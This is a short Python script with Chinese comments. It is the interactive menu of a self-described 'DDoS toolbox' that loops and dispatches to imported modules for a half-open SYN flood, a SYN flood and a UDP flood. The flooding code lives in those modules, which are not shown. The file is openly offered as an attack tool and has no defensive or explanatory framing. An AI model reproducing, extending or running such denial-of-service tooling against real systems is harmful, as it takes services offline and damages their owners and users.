# DDOS工具箱   功能如下：
'''
输入1：SYN Flood(half)
输入2：SYN Flood(cc)
输入3：UDP Flood
输入4：退出
用户只要不输入4，就可以一直选择某个功能并且运行
'''

import half_synflood
import synflood
import udpflood

if __name__ == "__main__":
    print("============欢迎使用DDOS工具箱==============")
    while 1:
        print("1.SYN Flood(half)，2.SYN Flood(cc)，3.UDP Flood，4.退出程序")
        choose = int(input("请输入你要选择的功能："))
        if choose == 1:
            half_synflood.half_synflood_DDos()
        elif choose == 2:
            synflood.synflood_DDos()
        elif choose == 3:
            udpflood.udp_DDos()
        elif choose == 4:
            break
        else:
            print("输入有误，请重新输入")
